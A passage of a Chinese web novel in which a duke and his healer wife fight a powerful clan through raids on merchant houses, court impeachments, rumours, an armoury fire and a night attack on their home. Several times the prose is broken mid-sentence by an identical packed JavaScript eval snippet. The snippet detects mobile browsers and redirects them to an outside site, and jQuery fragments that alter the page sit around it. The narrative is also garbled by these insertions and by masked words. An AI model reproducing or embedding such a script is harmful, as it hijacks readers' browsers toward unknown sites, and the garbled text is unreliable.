“还记得赵无咎之前查到的,那几个与崔家外围产业有资金往来的商行吗?”李梵娘铺开一张名单。 “隆昌号钱庄、四海船运、荣宝斋古玩…这些看似不相关的产业,实则是他们**和输送物资的产业。” “我们用不着直接触碰核心,先从这些外围开始清扫。” “用走私、偷**、违反朝廷专卖令等经济罪名查处,合情合理,既断了财路,又能逼他们自乱阵脚。” 杜仁绍眼睛一亮:“好主意,这个调查都是由皇城司和户部一起进行的,阻力会小很多。” “赵无咎。” “卑职在!” “立刻整理隆昌号、四海船运、荣宝斋等十二家商行的罪证!” “明日一早,联合户部清吏司、京城府尹,以稽查漕运私货、核查税银作为理由,给我封了这些铺子!抓人!查账!” “记住,动作要快准狠!不给任何人反应和疏通的机会!” “是!”赵无咎迅速退出去安排。 次日清晨,京城的气氛紧张起来。 皇城司缇骑和户部差役直奔那几家商行。 “奉旨查案!闲人回避!” “账册封存!所有人原地待命!” 隆昌号钱庄内,掌柜刚打开大门,就被冲进来的官兵按倒在地,账房被控制,一箱箱账本、票据被贴上封条抬出。 四海船运的码头上,正在装卸的货船被叫停,官兵上船搜查,从夹层中搜出大量未报税的南洋香料和严禁出海的生铁。 荣宝斋内,几位正在“赏玩”古玩的官员被堵个正着,搜身的差役从他们身上或随从那里摸出了厚厚一叠银票和地契。 行动不到半日,十二家背景深厚且平日没人敢碰的商行尽数被查封。 主事人及一众伙计锒铛入狱,账册物证堆满了皇城司的案头。 消息像插了翅膀一样飞遍京城官场和商圈,引起巨大震动。 这些商行背后是谁,大家心知肚明。 镇国公这回是明刀明枪地砍了崔家的钱袋子。 崔府,花厅内。 崔泓正在与几位门生品茗对弈,听到管家的话,执棋的手微微一顿,随即面色如常地落下一子。 “知道了。”他语气平淡,像是听了一件微不足道的小事。 等管家退下,一位门生忍不住低声道:“老师,杜仁绍此举太过猖狂!分明是冲着您来的!我们是否……” 崔泓抬手打断他,微微一笑:“稽查不法行为,整顿商贾,是朝廷法律允许的,何来猖狂? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529501|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然有错,查了便查了。” 他拈起一枚棋子,目光落在棋盘上,意味深长:“棋要一步步下,慌什么。” “不过是丢了几处无关紧要的铺子,正好看看,对方下一步要往哪里走。” 他语气依旧温和,但眼底却闪过冷光。 杜仁绍,你终于忍不住了吗? 然而,崔泓的镇定并不是能安抚住所有人的。 那些与崔家利益捆绑、或依靠这些渠道牟利的势力开始慌了。 断人财路,如**父母。 杜仁绍的强硬手段,让他们感受到了恐慌。 一些人开始暗中活动,打探消息,甚至有人向杜仁绍递话求和。 更有甚者,将怨气撒向了始作俑者——若非崔家行事不密,哪能引来这样的打击? 崔家内部,一些远支子弟和依附的官员也开始人心浮动,私底下抱怨的声音越来越大。 皇城司大牢深处,灯火幽暗。 赵无咎亲自审讯隆昌号的大掌柜。 那掌柜起初还嘴硬,抬出背后的靠山,想要吓退赵无咎。 赵无咎也不动怒,只是把一叠叠从他家里搜出来的、与账面不符的房契地契、以及他几个儿子在赌坊一掷千金的记录摆在他面前。 “说说吧,这些远超你俸禄和分红数十倍的家产,是怎么来的?” “隆昌号每年孝敬上去的巨额分红,又流向了哪些府邸了?” 赵无咎声音冰冷,“不说也没关系,你的几个合伙人,还有四海船运的东家,正在隔壁吃着茶点,想必很乐意替你说。” 大掌柜汗如雨下,心理防线逐渐崩溃,断断续续地吐露了一些信息。 如何利用钱庄洗白来源不明的巨额银两,如何通过虚假交易将资金转入几个特定的匿名账户,又如何利用船运夹带禁物…… 虽然不敢直接指认崔家,但提供的线索,已经足够赵无咎顺藤摸瓜了。 与此同时,户部的人日夜不停地核算着查抄来的账册。 一笔笔异常的资金被标注出来,最终指向了几个模糊的代称和几家看似毫无关联、实则受控于同一幕后势力的空壳商号。 第二百五十章 ** 杜仁绍看着赵无咎和户部陆续呈上的结果,面色冷峻。 “果然如此,藏得可够深的,但狐狸尾巴总会露出来!” 他看向李梵娘:“梵娘,你那边如何?” 李梵娘面前也堆满了从教**局和信息网送来的情报。 她抽出一份汇总:“根据各个药堂报上来的信息,那几种药材,在京城被查处后,采购源头转向了江南和西南。” “尤其是墨玉髓,他们可能会从南诏边境走私。” “南诏?”杜仁绍眉头紧锁,立刻想到了玉萝,“他们反而被我们逼得加快了步子,甚至不惜冒险了。” “必须掐断这条线!”他沉声道,“我立刻修书一封,八百里加急送往南诏,提醒玉萝和王猛,要注意边境药材走私,尤其是‘墨玉髓’!” 然而,崔家的反击,比预想中来得更快。 这日早朝。 一个御史出列,手持奏本,声音沉痛:“陛下!臣要**镇国公杜仁绍!” 满朝文武顿时安静下来。 杜仁绍眼神一厉,看向那御史。 李睿面沉如水:“所奏何事?” “臣要**镇国公借稽查商贾之名,行打击异己之实!纵容手下滥用职权,酷刑逼供。” “致使京城数家百年老字号无辜蒙冤,商贾惶惶,市井不安,有损朝廷威信!” “更有甚者越权干涉户部、京兆尹事务,扰乱朝廷!长此以往,恐生祸乱!请陛下明察啊!” 此言一出,立刻有官员出声附和。 “臣附议!镇国公在江南便手段酷烈,如今回了京,仍旧不知收敛,反而变本加厉!” “陛下!如此下去,恐寒了天下士绅的心啊!” “请陛下约束镇国公,以安民心!” 杜仁绍冷哼一声,“荒谬!我所查的都罪证确凿!走私、**、**、违反专卖令,哪一条不是触犯国法?” “皇城司奉旨查案,与各部配合,何来越权?至于酷刑逼供,更是无稽之谈!你们是做贼心虚?” 朝堂之上,一瞬间争论不休。 支持杜仁绍的武将和部分官员也与**者争辩起来。 龙椅上,李睿看着下方吵成一团的臣子,眉头越皱越紧。 “够了!”他猛地一拍龙案。 殿内瞬间安静下来。 李睿目光扫过众人,最后落在杜仁绍和那位御史身上。 “稽查不法,自当依法处置。朕相信镇国公与诸位臣工皆是为国操劳。” “然,所说的也不是没有道理,办案需要重证据,亦需要程序,不能够操之过急,以免殃及无辜,徒惹非议。” 他沉吟片刻,“此案既然已经由三司会审,便当由三司主导,皇城司从旁协助即可。” “杜卿,你劳苦功高,近日便多休养些时日,不必事必躬亲。” 这话看似各打五十大板,实则直接限制了杜仁绍的直接权力,将调查主导权交回了更容易被各方势力渗透的三司。 杜仁绍心中一沉,知道这是陛下在压力下的选择,只能咬牙应道:“臣,遵旨。” 退朝后,杜仁绍面色阴沉地走出大殿。 几个崔家交好的官员交换着眼神,嘴角露出得意。 崔泓依旧神色平静,仿佛一切与他无关,缓步从杜仁绍身边走过时,甚至还微微颔首致意。 回到府中,杜仁绍怒气难平:“好一个釜底抽薪!轻轻巧巧几句话,便缚住了我的手脚!三司会审?哼,审到猴年马月,证据早就被他们抹干净了!” 李梵娘为他斟了杯茶,神色平静,“早料到他们会反扑。陛下有陛下的难处,朝堂平衡,他必须顾及到。” “但我们并非不是没有收获。至少,我们撕开了一道口子,让他们疼了,也让他们慌了。” 她拿出几份密报:“你看,我们虽然明面上被限制了,但暗地里的调查不能停。赵无咎的人还在继续挖,教**局的信息网也还在运转。” “而且,他们越是打压,越是证明我们摸对了方向。他们害怕了。” 杜仁绍接过密报,快速浏览,“没错!不能让他们牵着鼻子走!明的不行,暗的继续!赵无咎!” “卑职在!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538651|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“陛下虽然让三司主导,但皇城司协查的职责还在!” “给老子盯紧那些被抓的掌柜、账房,他们的家眷什么的,一个都不许放过!还有那几家空壳商号,给我挖地三尺,也要找出背后的人!” “是!” “梵娘,信息网那边,还要辛苦你,尤其注意南诏方向的动静,我担心玉萝那边……” 李梵娘点头:“放心,我已经加派人手,一有消息,立刻传回来。” 压力之下,杜仁绍和李梵娘并没有退缩,反而更加警惕,将明面的斗争转入了暗处。 而此时的崔府书房内,崔泓屏退左右,对着黑暗中的阴影淡淡道:“杜仁绍比想象的难缠,南诏那条线必须尽快打通,必要时……可以让那边动一动了。” “告诉鬼谷门的人,他们想要的‘药引’,或许可以在南诏找到。让他们派人去‘帮忙’。” 阴影中的人应了一声,悄然消失。 崔泓走到窗边,望着镇国公府的方向,眼神幽深。 京城之中,一夜之间关于镇国公杜仁绍和医仙李梵娘的流言蜚语满城皆是。 不仅仅是含沙射影的说“拥兵自重”,而是有了细节。 “听说了吗?镇国公在江南剿匪时,坑杀了数千人!尸骨都填了太湖眼!” “何止啊!那位医仙娘娘看着菩萨心肠,用的都是邪门手段!听说她给人治病,都要用童男童女的心头血做药引!” “对对!还有她那教**局,哪里是教医术?分明是培养死士,用药物控制人心!没看那些学徒对她死心塌地吗?” “最可怕的是他们那个女儿…听说生来带煞,在北境时克**多少牛羊?小小年纪就…” 流言像毒蛇一样钻入市井巷陌,甚至开始指向了年幼的春儿。 这些谣言编得刁钻,真假掺半,将杜仁绍战场上的铁血、李梵娘医术的神奇,都扭曲成了阴森恐怖的画面。 尤其涉及春儿的部分,更是恶毒。 显然,对方不仅要在**上打压他们,更要从名声上搞臭他们,甚至不惜将一个无辜的孩子拖下水。 第二百五十一章 流言蜚语 镇国公府内,气氛有些压抑。 张大娘从外面采买回来,气得眼圈发红,对着李梵娘欲言又止:“夫人…外面那些人嘴太脏了!他们怎么能…怎么能那么说你们和小小姐…” 李梵娘正翻看各地信息网送来的简报,闻言抬起头,神色平静,但眼底却结了冰霜。 “我知道了,张妈,不必理会。春儿呢?” “小小姐在院里和丫鬟踢毽子呢,还好…没听到那些混账话。”张大娘抹着眼泪。 “看好她,这几日尽量别让她独自出府。”李梵娘吩咐道。 动她可以,动她的孩子,不行。 傍晚,杜仁绍从衙门回来,脸色铁青,显然也听到了风声。 他脱下官服摔在架子上,“岂有此理!这群只会躲在阴沟里嚼舌根的鼠辈!有本事真刀**跟老子干一场!” 李梵娘递给他一杯凉茶,“消消气,跟她们置气,不值当。” “我能不气吗?”杜仁绍压低声音,额角青筋直跳,“他们说我什么都行!可春儿才多大?他们竟然…” 他猛地灌了一口茶,像是要把火气压下去,“陛下今日召见我,虽然明说,但也暗示我近来风波太多,让我约束家人部属,低调行事。” “这分明是崔泓那老狐狸煽风点火,陛下也被这些流言影响了!” 李梵娘走到他身边,手按在他太阳穴上,轻轻揉着,“流言止于智者,但更需要有力的反击。光生气没用,我们要找到源头。” 她拿起桌上那叠简报,“你看,这是我统计的流言最初传播的几个地点和方式。” “综合来看,最初集中在城西的几家茶楼、说书场,以及…几家药铺附近。” 杜仁绍凝神看去:“药铺?” “嗯。”李梵娘点头,“尤其是济世堂、回春馆这几家,我们之前怀疑与崔家有牵连,但一直找不到实证的。” “流言的内容,涉及医术巫蛊的部分,编造得也很专业,不像寻常百姓能凭空想出来的。” “我怀疑是有懂医理、甚至熟悉我教**局内部情况的人,在背后提供信息,再由人加工散布。” “而能同时调动市井无赖和懂医理之人的…”她看向杜仁绍。 两人对视一眼,想到的只有一个人。 崔泓! 只有他既有能力调动这样的资源,也能编造出那些合理的诬陷之词。 “又是这些见不得光的手段!”杜仁绍咬牙。 “既然他们从药铺开始,那我们就从药铺查起。”李梵娘语气坚定,“明面上的调查被限制,我们就暗着来。” 她立刻通过教**局的特殊渠道,向几个信得过的信息点下了命令。 重点监控那几家药铺的掌柜、坐堂大夫、以及常出入的特殊客人,留意他们与哪些市井中人接触,银钱往来有无异常。 同时,她也让苏婉借着与各府女眷交往的机会,旁敲侧击地打听流言的源头版本,从贵妇圈的闲谈中找线索。 另一方面,杜仁绍也吩咐赵无咎,让皇城司的暗探换上常服,混迹于茶楼酒肆,听到留言反向追查。 就在京城这边暗流涌动之际,快马加鞭送往南诏的信,也送到了王猛和玉萝手中。 南诏王城,气氛并不比京城轻松多少。 玉萝回国后,凭借其大胤医仙弟子的身份和带来的实实在在的帮助,很快赢得了部分民心,也帮助母后稳定了一部分局面。 但大祭司病重昏迷,其门下几位弟子争权夺利,与部分部落首领勾结,暗中的小动作不断。 王猛率领的胤朝护卫队驻扎在王城外围,他答应了玉萝的请求,帮忙训练王宫卫队,提升了王室的防卫力量。 收到杜仁绍的密信,王猛和玉萝都高度重视。 “墨玉髓…”玉萝蹙眉,“这种矿物在南诏西北深山确实有产出,但因为开采艰难而且用途不明,并未大规模开采,他们把主意打到这里了。” 王猛一拳砸在案上:“这帮杂碎,阴魂不散!有俺老王在,绝不会让这些鬼东西流进去!” 他立刻增派人手,加强与边境巡防队的联系,严查过往商队,尤其关注矿产药材运输。 玉萝则利用刚刚初步建的南诏信息网,让熟知草药的老人和采药人留意,是否有陌生**规模打听或收购“墨玉髓”等稀有矿物。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538652|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然而他们面对的,不仅仅是商业走私。 几天后,巡防队传来消息,查获了一伙想偷越边境的“商人”,从他们的行李中搜出了少量墨玉髓样本和绘制精细的矿脉地图。 冲突中,对方身手矫健,不像普通商人,**几个,剩下的全部服毒自尽,没留下活口。 几乎同时,南诏西北山区一个偏僻寨子发生了怪事。 多名青壮在进山后莫名病倒,症状诡异,浑身发冷,皮肤浮现青纹,寨中巫医都束手无策。 消息传到王城,玉萝立刻意识到这可能不是普通疾病。 她不顾劝阻,亲自带队和王猛派出的一队人马,赶往那个寨子。 仔细检查后,玉萝发现这些病患并非生病,而是中了一种毒。 这种毒的症状,与她在大胤时,李梵娘给她讲解过的、一种需要墨玉髓作为药引才能炼制的鬼谷门寒毒极为相似。 “他们不是在找矿…他们是在用活人试毒!或者…是想用毒来控制寨民,为他们开矿!”玉萝又惊又怒。 她立刻将发现传信回大胤京城,并加了一句: “师父,师公,南诏恐有鬼谷门潜入,他们目的不止墨玉髓,望千万小心!” 京城,镇国公府。 李梵娘收到玉萝传回的消息,心猛地一沉。 “鬼谷门…”她将密信递给杜仁绍。 杜仁绍看完,脸色铁青:“崔泓老贼!竟然真的与这些邪门歪道勾结!他到底想干什么?” 结合京城针对春儿的流言,南诏鬼谷门用活人试毒… 对方的手段,越来越没有底线,也越来越疯狂。 “无论他想干什么,都绝不能让他得逞。”李梵娘声音冰冷,“既然他们动了,就别想再藏住尾巴!” 她铺开纸笔,写下几道命令。 “重点监控所有与崔家有关联的药铺、医馆,尤其是药材进出记录!” “让赵无咎不惜一切代价,盯死崔家几个核心子弟及其门下所有产业的异常动向!” “另外…”她笔尖顿了顿,眼中闪过寒光,“既然他们用流言,那我们也可以以其人之道还治其人之身。” 第二百五十二章 反击 “将我们查到的,关于那几家药铺涉嫌走私违禁药材、抬高药价、以次充好的证据,挑些无关紧要的,悄悄散出去。” “不必指名道姓,让百姓们自己去猜,去议论。” “再让说书先生编几个‘无良药商勾结贪官,欺压百姓’的故事,多在茶楼酒肆里讲讲。” “是!”手下领命而去。 杜仁绍看着她,眼中露出赞许:“好!让他们也尝尝这流言的滋味!” 接下来的几天,京城的流言风向发生了变化。 “哎,听说了吗?城西济世堂卖的所谓百年老参,都是用萝卜泡药水熏出来的!” “何止啊!回春馆的金疮药里掺石灰!坑了多少人了!” “还有啊,听说这些黑心药铺背后都有大官罩着,所以才敢这么无法无天!” “难怪药价涨得这么厉害!原来都是这些蛀虫搞的鬼!” 百姓们对于与自身关系密切的药价、药品质量最为敏感,这类流言传播得更快,也更容易引发共鸣。 虽然依旧没有直接指向崔家,但几家被点名的药铺生意一落千丈,门口甚至被愤怒的百姓扔了烂菜叶臭鸡蛋。 崔府内,崔泓听到管家的汇报,捻着胡须的手微微一顿。 “倒是有几分急智。”他淡淡评价了一句,脸上看不出喜怒。 “老师,是否要…”一位门生做了个抹脖子的手势。 “愚蠢。”崔泓瞥了他一眼,“此时动手,岂不是不打自招?” “由他们去。几间铺子而已,无关痛痒。我们的重点不在这里。” 他挥退众人,走到书案前,提笔蘸墨,写了一个静字。 笔力沉稳,仿佛外界一切都与他无关。 但若仔细看去,那“静”字的最后一笔,却透出一股杀机。 他放下笔,目光望向窗外,仿佛穿透一切看到了那座皇城。 然而崔泓的平静,并不能完全压制住依附于崔家这棵大树的各方势力。 断掉的财路,损失的不仅仅是银子,更是许多人的生计和野心。 一些与崔家利益捆绑过深、或指望着这些牟取暴利的官员和商贾开始私底下联系,动作频频。 他们不再满足于在朝堂上打口水仗,而是想通过更直接的方式向杜仁绍施压,甚至希望能逼迫皇帝改变态度。 这几日,皇城司的暗探也察觉到了一些不寻常的波动。 赵无咎深夜匆匆入府,将一份密报递给杜仁绍。 “国公爷,我们发现几处异常。”赵无咎声音压得极低,“兵部武库司一位郎中,与京营里一位参将过往密切,近日频繁私下见面。” “我们的人听到零星几句,似乎涉及库房、旧械、城外等词,语焉不详,但结合此前墨玉髓的线索,恐怕有蹊跷。” “另外,监察御史周廷芳,是崔泓的得意门生,近几日暗中会见了好几位江南籍的官员。” “虽然谈话内容不得而知,但会后,其中一人便悄悄派人往南直隶方向去了。” 杜仁绍看着密报。 “武库司…京营…旧械…”他手指敲着桌子,“他们难道想动军械的主意?或是想制造什么事端,栽赃嫁祸?” “还有江南…那是‘云山亭’的老巢,虽然顾家倒了,但百足之虫死而不僵…他们想联络残余的人?” 李梵娘在一旁蹙眉道:“狗急跳墙了,断了他们的财路,等于掐住了他们的命脉,这是要铤而走险了。” 杜仁绍冷哼一声:“跳墙?也得看他们有没有这个本事跳得过来!” 他站起身,“赵无咎,加派人手,十二时辰不间断盯死武库司那个郎中、京营参将以及御史周廷芳!” “他们见了什么人,说了什么话,去了哪里,我都要知道!” “沈追!”他转向一旁待命的沈追。 “末将在!” “你亲自去一趟,借着演练的名义,暗中调整几处岗哨和巡逻路线。” “尤其是军械库和通往城外的几条要道,给我看得死死的,没有我的手令,一兵一卒、一枪一箭都不许动!” “是!” “府内戒备加一些。”杜仁绍看向管家和张大娘,“尤其是春儿的院子,加派可靠的人手,绝不许任何陌生人靠近!夫人出行,护卫人数也加倍!” “所有从外面送进来的食物、用品,必须严查。” 杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538653|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仁绍走到窗边,望着崔府的方向,眼神冰冷。 “老狐狸,你想玩火,我就看看,最后烧死的会是谁!” 崔家一派的官员暂时沉寂了下去,朝堂上针对杜仁绍的也少了许多。 但杜仁绍和李梵娘都知道,这不过是暴风雨前的宁静。 对方在暗中积蓄力量,寻找给他们致命一击的机会。 皇城司不断将各种异常反馈回来。 武库司郎中和京营参将的会面停止了,可能是意识到了被监视。 但另一边,信使虽然被跟踪,却在进入江南地界后,在一场‘意外’中失去了踪迹。 御史周廷芳依旧活跃,频频出入各种文会诗社,与清流文臣们高谈阔论,仿佛一心只读圣贤书。 然而,赵无咎的人却发现,他的心腹,近日与京城几家镖局走得很近,暗中托付了一批书籍文稿,要求送到几个不同的地方,目的地分散,看着也没什么规律。 “他们在试探,也在布局。”杜仁绍在书房中,对着江南舆图和京城布防图,面色冷峻。 “江南的信使失踪,说明那边还有他们的人接应,并且能力不弱。” “周廷芳利用镖局分散运送东西,是在混淆视听,真的情报或许就藏在其中某一批里,或者只是虚晃一枪。” 李梵娘指着图上标注的几家镖局:“要不要拦住检查?” 杜仁绍沉吟片刻,摇了摇头:“暂时不要。周廷芳是御史,我们没有确凿证据拦截他的私人物品,反而会落人口舌。” “但我们可以知道他都送了些什么书去了哪里。” “赵无咎,让你的人设法弄清楚每一批货物的接收人是谁,不要打草惊蛇。” “是!” “另外,”杜仁绍目光转向沈追,“京营那边有什么动静?” “回国公爷,看着是挺正常的正常。但末将发现负责西郊鹿山军械库的那一营兵不正常。” “这几日的换防时间和路线有细微调整,总觉得有些刻意。” “鹿山军械库…”杜仁绍手指点在地图上那个位置,“那里存放的多是些替换下来的旧式军械,保养不善,很多已经不能用了…墨玉髓…” 第二百五十三章 调虎离山 他眼中精光一闪:“如果他们真想打军械的主意,那里确实是容易下手且不易察觉的地方。” “沈追,给我盯死鹿山库!任何进出车辆人员,尤其是夜间。” “明白!” 安排完这些,杜仁绍吐出一口浊气,揉了揉眉心。 李梵娘端上一碗参茶,轻声道:“你也别太绷着了,对方在暗,我们在明,只能以静制动,见招拆招。” 杜仁绍接过茶碗,握住她的手:“我只是担心你和春儿。他们手段卑劣,我…” “府里现在被你的人保护的像个铁桶,春儿身边都是信得过的人,我自己也不是手无缚鸡的弱女子。”李梵娘安慰他,“倒是你,整日劳心劳力,才是要注意。” 就在这时,书房外传来叩门声。 “国公爷,夫人,春儿小姐来了。”是张大娘的声音。 “春儿?快进来。”李梵娘应道。 书房门被推开,春儿抱着一个小布老虎,揉着眼睛走进来,小脸有些蔫蔫的。 “爹爹,娘亲…”她声音带着睡意和一丝委屈。 “春儿怎么了?做噩梦了?”李梵娘连忙把她抱到腿上。 春儿点点头,把小脸埋进李梵娘怀里:“嗯…梦到有坏人…要抢春儿的糖葫芦…” 杜仁绍和李梵娘对视一眼,心中都是一紧。 应该。是是因为近日府中紧张的气氛感到不安,才会做这样的梦。 杜仁绍放柔了声音,轻轻抚着女儿的头发:“傻春儿,梦都是反的。有爹爹在,哪个坏人敢来抢你的糖葫芦?爹爹帮你打跑他!” 春儿抬头看着爹爹:“真的吗?” “当然是真的!”杜仁绍保证道,“爹爹可是大将军,专打坏人!” 春儿似乎安心了些,打了个小哈欠。 李梵娘柔声道:“春儿乖,让张大娘带你回去睡觉,娘亲给你点一支安神香好不好?保证没有坏人了。” “嗯…”春儿点点头,顺从地被张大娘抱走了。 看着女儿离去的背影,杜仁绍的拳头悄然握紧。 无论对方要玩什么阴谋诡计,他都绝不会让任何人伤害到他的家人。 然而对方的下一个动作,确实是他们没想到的。 两天后的晚上。 鹿山军械库方向火光冲天。 浓烟在夜色中翻滚,即使相隔距离很远,但也能隐约看到映红的天际。 “报——!”一名亲兵冲进来,“国公爷!鹿山库起火!” 杜仁绍猛地从书案后站起:“怎么回事?” “具体情况不明!沈大人已经带人赶过去了!京营的人也在救火!” 杜仁绍脸色阴沉,抓起佩刀就走,“备马!去鹿山库!” 李梵娘追出一步:“仁绍!小心!” “我知道!你守好家里!”杜仁绍头也不回的冲出去,翻身上马,带着一队人赶去。 鹿山库外,已经乱成了一团。 士兵们忙着提水救火,呼喝声、水声、木材燃烧的噼啪声混在一起。 王沈追一脸烟灰,看到杜仁绍赶来,急忙迎上:“国公爷!” “火势如何?为什么起火?”杜仁绍勒住马缰,急声问道。 “火是从丙字库房起的,烧得太快,扑救不及…里面存放的多是旧棉服、帐篷和些废弓弦,很容易烧起来。”沈追语速极快。 “起火原因…还在查,但看守库房的一队人…全部昏迷不醒,像是中了迷烟!” “迷烟?”杜仁绍眼中寒光一闪。 他目光扫过救火的人群。 “沈追,你带人守住所有出口,没有我的命令,只许进不许出!赵无咎呢?” “赵指挥使已带人在外围把守了,搜查可疑人员!” “查!”杜仁绍咬牙,“给我彻查!今夜所有在鹿山库值守的人,一个不许放过!还有起火前后,附近可有异常人马车辆活动?” “已经在盘问了!但目前还未发现丢失…”沈追答道。 杜仁绍心念电转。 对方费这么大周章,难道就为了烧掉一个存放废品的旧库房? 这一定是个幌子…… 真正的目的… 就在这时,镇国公府的护卫骑马赶来。 那护卫气喘吁吁,“国公爷!不好了!府里遭袭!” “什么?”杜仁绍脑袋嗡的一声,“夫人和小姐呢?” “夫人无碍,但…但有一伙黑衣人想要潜进小姐的院子,被护卫及时发现拦下,激战中…” “对方手段狠辣,用了毒烟和**,我们伤了几个弟兄,被他们…被他们抢走了一个丫鬟! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李梵娘蹙眉道:“直接拘传御史和官员,没有确凿证据,恐怕…” “非常时期,非常手段。”杜仁绍打断她的话,“火都烧到家里来了,还讲什么规矩!就算找不到直接证据,我也要敲山震虎!” 他看向皇城的方向,目光深邃。 这一次,他倒要看看陛下面对这样的局面,又会如何决断。 可不要让他失望啊…… 而崔泓那条老狐狸,他这份“回礼”,喜欢吗…… 京城的夜,注定无眠。 第二百五十四章 抓人 镇国公府灯火通明,仆役们低着头,脚步匆匆地清理着院子的狼藉,水桶冲刷着青石板上的血迹,发出哗啦声,更衬得府邸压抑。 正厅里,杜仁绍负手而立,浑身散发着骇人的戾气。 他面前,跪着几名带伤的亲卫,领头的是护卫队长张贲。 他胳膊上缠着浸血的绷带,禀报着遇袭的经过。 “…对方约七人,皆黑衣蒙面,身手极为了得,配合默契。” “他们直奔西偏院,对府内的分布也颇为熟悉。”张贲声音沙哑,带着羞愧与愤恨。 “他们用的迷烟,兄弟们吸入少许便手脚发软,视线模糊。 ” “交手时,招式狠辣,专攻要害且镖上淬有剧毒,王五、李七他们…就是为了挡射向丫鬟房的**才…” 杜仁绍的拳头捏得咯咯作响,手背上青筋虬结。 他没有回头,声音冷得能冻**,“小翠呢?看清被带往哪个方向了?” “属下无能!”张贲低下头,“他们掳了人后,分出来两人断后,死战不退,用的都是同归于尽的打法…” “其余人趁乱从西北角翻墙出去,等我们解决掉断后的,追出去时…已不见踪影,只在墙外发现了这个。” 一枚乌黑发青、造型奇特的菱形镖。 杜仁绍接过那枚**,“鬼谷门…又是这些阴沟里的老鼠!”他 “赵无咎呢?” “赵指挥使已经调人手全城封锁,正在追查!” “告诉他,挖地三尺也要把人和那伙杂碎给我揪出来!活要见人,死…也要见到尸首!” 杜仁绍的声音带着杀意,“再去查!府内近日可有生面孔?或是谁打探过偏院布局?” “是!”张贲领命,挣扎着起身退下。 杜仁绍转身,目光扫过厅外收拾的众人,最终落向内院方向,大步流星向后宅走去。 内室。 春儿受了惊吓,哭累了,正蜷在张大娘怀里抽噎着睡去,小脸上还挂着泪。 李梵娘坐在榻边,脸色有些苍白。 她拿着帕子,包起从地上收集到的迷烟灰和**。 看到杜仁绍进来,“仁绍。” “春儿怎么样?”杜仁绍快步上前,先是看了一眼女儿,声音不自觉地放低。 “吓着了,刚睡下,没什么事。”李梵娘轻声道,随即举起手里的东西。 “迷烟成分有曼陀罗、乌羽玉的痕迹,提纯手法很娴熟,不像是市面上流通的,这**…”她用银针刮下一点镖尖的残留。 “见血封喉,混合了几种剧毒蛇的毒液和矿物的毒,配方与我们在江南发现的几页残方极为相似。” 杜仁绍俯身细看,那诡异的蓝让他心头发寒。 “果然是他们…”他压低声音,怒气在胸腔翻腾,“竟敢直接杀上门来!” 就在这时,门外传来急促脚步声,一名内侍在管家的引导下匆匆进来。 “国公爷,陛下急召!请您即刻入宫!” 杜仁绍与李梵娘对视一眼。 消息传得真快。 紫宸殿偏殿,灯火通明,气氛凝滞。 皇帝李睿身着常服,眉头紧锁,来回踱步。 见杜仁绍大步进来,未等行礼便抬手打断:“仁绍,免礼!府上情形如何?朕听闻竟有狂徒夜袭国公府?可有伤亡?” 杜仁绍抱拳,语气沉痛,“托陛下洪福,臣与内子无恙,但小女受惊,府中护卫死伤数人,一名侍女被掳。” “贼人手段毒辣,所用迷烟**,皆与江南‘云山亭’及鬼谷门邪术同源,臣恳请陛下严查此事!” 李睿闻言,脸色更加难看:“云山亭…阴魂不散,竟敢如此猖狂。”他顿了顿,“仁绍,你心中可有猜测?” 杜仁绍深吸一口气,抬头直视皇帝,“陛下!臣不敢妄言,然纵观京城能有这个能力,豢养死士且与江南逆党关联的人…” “臣斗胆请旨,彻查太傅崔泓及其关联人等!” 李睿瞳孔微缩,沉默片刻,缓缓坐回龙椅:“仁绍,朕知道你愤怒,朕也是。” “但崔卿…不能轻易动啊……” “陛下!刺客尸首、**配方、乃至今晚鹿山军械库莫名起火,桩桩件件。” “难道就因为害怕对方势力大,就放任他们?”杜仁绍语气激动。 